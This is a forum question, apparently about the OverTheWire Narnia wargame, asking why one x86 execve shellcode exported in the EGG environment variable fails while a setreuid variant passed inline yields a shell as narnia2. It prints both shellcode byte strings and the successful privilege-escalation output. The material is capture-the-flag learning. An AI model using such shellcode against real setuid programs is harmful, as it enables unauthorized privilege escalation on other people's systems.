(This is a question regarding a challenge in a wargame on overthewire.org called Narnia similar to Shellcode does not execute as the owner )
When exporting shellcode to EGG environment variable
export EGG=`python3 -c "import sys; sys.stdout.buffer.write(b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80')"` /narnia/narnia1 Give me something to execute at the env-variable EGG
it seems that EGG is not found despite its content seems to be correct as this hex dump suggest.
narnia1@gibson:~$ printf %s "$EGG" | hexdump -Cv 00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P| 00000010 53 89 e1 b0 0b cd 80 |S......| 00000017
On the other side executing directly this
narnia1@gibson:~$ EGG=`python3 -c "import sys; sys.stdout.buffer.write(b'\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80')"` /narnia/narnia1 Trying to execute EGG! $ whoami narnia2
give me access to a shell as narnia2.
I don't understand why such a behavior.